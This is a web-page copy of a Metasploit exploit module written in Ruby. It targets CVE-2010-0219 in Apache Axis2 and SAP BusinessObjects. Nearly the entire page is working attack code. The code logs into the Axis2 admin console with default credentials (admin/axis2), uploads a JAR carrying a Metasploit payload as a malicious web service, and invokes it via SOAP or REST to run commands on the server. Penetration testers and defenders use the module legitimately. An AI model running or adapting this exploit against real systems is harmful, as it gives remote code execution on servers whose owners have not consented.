Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/axis2_deployer.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)|Jetty.*/ ] }
10
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)',
19
'Description' => %q{
20
This module logs in to an Axis2 Web Admin Module instance using a specific user/pass
21
and uploads and executes commands via deploying a malicious web service by using SOAP.
22
},
23
'References' => [
24
# General
25
[ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ],
26
[ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ],
27
[ 'CVE', '2010-0219' ],
28
[ 'OSVDB', '68662' ]
29
],
30
'Platform' => %w{java linux win}, # others?
31
'Targets' => [
32
[
33
'Java', {
34
'Arch' => ARCH_JAVA,
35
'Platform' => 'java'
36
},
37
],
38
#
39
# Platform specific targets only
40
#
41
[
42
'Windows Universal',
43
{
44
'Arch' => ARCH_X86,
45
'Platform' => 'win'
46
},
47
],
48
[
49
'Linux X86',
50
{
51
'Arch' => ARCH_X86,
52
'Platform' => 'linux'
53
},
54
],
55
],
56
'DefaultTarget' => 0,
57
'DisclosureDate' => '2010-12-30',
58
'Author' => [
59
'Joshua Abraham <jabra[at]rapid7.com>', # original module
60
'Chris John Riley' # modifications
61
],
62
'License' => MSF_LICENSE,
63
'Notes' => {
64
'Reliability' => UNKNOWN_RELIABILITY,
65
'Stability' => UNKNOWN_STABILITY,
66
'SideEffects' => UNKNOWN_SIDE_EFFECTS
67
}
68
)
69
)
70
71
register_options(
72
[
73
Opt::RPORT(8080),
74
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
75
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'axis2' ]),
76
OptString.new('PATH', [ true, "The URI path of the axis2 app (use /dswsbobje for SAP BusinessObjects)", '/axis2'])
77
]
78
)
79
register_autofilter_ports([ 8080 ])
80
end
81
82
def upload_exec(session, rpath)
83
contents = ''
84
name = Rex::Text.rand_text_alpha(8)
85
86
# We must register this file early, that way the on_new_session method
87
# won't miss it if FileDropper's cleanup routine kicks in.
88
register_file_for_cleanup("webapps#{rpath}/WEB-INF/services/#{name}.jar")
89
90
services_xml = %Q{
91
<service name="#{name}" scope="application">
92
<description>
93
#{Rex::Text.rand_text_alphanumeric(50 + rand(50))}
94
</description>
95
<messageReceivers>
96
<messageReceiver
97
mep="http://www.w3.org/2004/08/wsdl/in-only"
98
class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/>
99
<messageReceiver
100
mep="http://www.w3.org/2004/08/wsdl/in-out"
101
class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>
102
</messageReceivers>
103
<parameter name="ServiceClass">
104
metasploit.PayloadServlet
105
</parameter>
106
</service>
107
}
108
if target.name =~ /Java/
109
zip = payload.encoded_jar
110
zip.add_file("META-INF/services.xml", services_xml)
111
112
# We need this class as a wrapper to run in a thread. For some reason
113
# the Payload class is giving illegal access exceptions without it.
114
servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
115
zip.add_file("metasploit/PayloadServlet.class", servlet)
116
117
contents = zip.pack
118
end
119
120
boundary = rand_text_alphanumeric(6)
121
122
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"filename\"; "
123
data << "filename=\"#{name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
124
data << contents
125
data << "\r\n--#{boundary}--"
126
127
res = send_request_raw({
128
'uri' => "#{rpath}/axis2-admin/upload",
129
'method' => 'POST',
130
'data' => data,
131
'headers' =>
132
{
133
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
134
'Cookie' => "JSESSIONID=#{session}",
135
}
136
}, 25)
137
138
if (res and res.code == 200)
139
print_good("Successfully uploaded")
140
else
141
print_error("Error uploading #{res}")
142
return
143
end
144
=begin
145
res = send_request_raw({
146
'uri' => "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp",
147
'method' => 'GET',
148
'headers' =>
149
{
150
'Cookie' => "JSESSIONID=#{session}",
151
}
152
}, 25)
153
puts res.body
154
puts res.code
155
if res.code > 200 and res.code < 300
156
if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) )
157
dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\"
158
puts dir
159
else
160
if ( a.scan(/catalina\.home<\/th><td style=".*">(.*)&nbsp;<\/td>/i) )
161
dir = $1 + "/webapps/dswsbobje/WEB-INF/services/"
162
puts dir
163
end
164
end
165
end
166
=end
167
168
print_status("Polling to see if the service is ready")
169
170
res_rest = send_request_raw({
171
'uri' => "#{rpath}/services",
172
'method' => 'GET',
173
}, 25)
174
175
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
176
xmlns = 'http://session.dsws.businessobjects.com/2007/06/01'
177
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
178
179
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
180
data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '" xmlns:ns="' + xmlns + '">' + "\r\n"
181
data << '<soapenv:Header/>' + "\r\n"
182
data << '<soapenv:Body>' + "\r\n"
183
data << '<soapenv:run/>' + "\r\n"
184
data << '</soapenv:Body>' + "\r\n"
185
data << '</soapenv:Envelope>' + "\r\n\r\n"
186
187
begin
188
p = /Please enable REST/
189
catch :stop do
190
1.upto 5 do
191
Rex::ThreadSafe.sleep(3)
192
193
if (res_rest and res_rest.code == 200 and res_rest.body.match(p) != nil)
194
# Try to execute the payload
195
res = send_request_raw({
196
'uri' => "#{rpath}/services/#{name}",
197
'method' => 'POST',
198
'data' => data,
199
'headers' =>
200
{
201
'Content-Length' => data.length,
202
'SOAPAction' => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"',
203
'Content-Type' => 'text/xml; charset=UTF-8',
204
}
205
}, 15)
206
else
207
## rest
208
res = send_request_raw({
209
'uri' => "#{rpath}/services/#{name}/run",
210
'method' => 'GET',
211
'headers' =>
212
{
213
'cookie' => "jsessionid=#{session}",
214
}
215
}, 25)
216
217
if not (res.code > 200 and res.code < 300)
218
## rest alternative path (use altres as a 200 is returned regardless)
219
altres = send_request_raw({
220
'uri' => "#{rpath}/rest/#{name}/run",
221
'method' => 'GET',
222
'headers' =>
223
{
224
'cookie' => "jsessionid=#{session}",
225
}
226
}, 25)
227
end
228
end
229
230
if res and res.code > 200 and res.code < 300
231
throw :stop # exit loop
232
elsif res and res.code == 401
233
if (res.headers['WWW-Authenticate'])
234
authmsg = res.headers['WWW-Authenticate']
235
end
236
print_error("The remote server responded expecting authentication")
237
if authmsg
238
print_error("WWW-Authenticate: %s" % authmsg)
239
end
240
raise ::Rex::ConnectionError
241
throw :stop # exit loop
242
end
243
end
244
end
245
rescue ::Rex::ConnectionError
246
print_error("http://#{rhost}:#{rport}#{rpath}/(rest|services) Unable to authenticate (#{res.code} #{res.message})")
247
end
248
end
249
250
def exploit
251
user = datastore['USERNAME']
252
pass = datastore['PASSWORD']
253
rpath = normalize_uri(datastore['PATH'])
254
255
success = false
256
srvhdr = '?'
257
begin
258
res = send_request_cgi(
259
{
260
'method' => 'POST',
261
'uri' => normalize_uri(rpath, '/axis2-admin/login'),
262
'ctype' => 'application/x-www-form-urlencoded',
263
'data' => "userName=#{user}&password=#{pass}&submit=+Login+",
264
}, 25
265
)
266
267
if not (res.kind_of? Rex::Proto::Http::Response)
268
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin not responding")
269
end
270
271
if res.code == 404
272
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin returned code 404")
273
end
274
275
srvhdr = res.headers['Server']
276
if res.code == 200
277
# Could go with res.headers["Server"] =~ /Apache-Coyote/i
278
# as well but that seems like an element someone's more
279
# likely to change
280
281
success = true if (res.body.scan(/Welcome to Axis2 Web/i).size == 1)
282
if res.get_cookies =~ /JSESSIONID=(.*);/
283
session = $1
284
end
285
end
286
rescue ::Rex::ConnectionError
287
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin Unable to attempt authentication")
288
end
289
290
if not success and not rpath =~ /dswsbobje/
291
rpath = '/dswsbobje'
292
begin
293
res = send_request_cgi(
294
{
295
'method' => 'POST',
296
'uri' => normalize_uri(rpath, '/axis2-admin/login'),
297
'ctype' => 'application/x-www-form-urlencoded',
298
'data' => "userName=#{user}&password=#{pass}&submit=+Login+",
299
}, 25
300
)
301
302
if not (res.kind_of? Rex::Proto::Http::Response)
303
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin not responding")
304
end
305
306
if res.code == 404
307
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin returned code 404")
308
end
309
310
srvhdr = res.headers['Server']
311
if res.code == 200
312
# Could go with res.headers["Server"] =~ /Apache-Coyote/i
313
# as well but that seems like an element someone's more
314
# likely to change
315
316
success = true if (res.body.scan(/Welcome to Axis2 Web/i).size == 1)
317
if res.get_cookies =~ /JSESSIONID=(.*);/
318
session = $1
319
end
320
end
321
rescue ::Rex::ConnectionError
322
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin Unable to attempt authentication")
323
end
324
end
325
326
if success
327
print_good("http://#{rhost}:#{rport}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")
328
upload_exec(session, rpath)
329
else
330
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")
331
end
332
end
333
end
334
335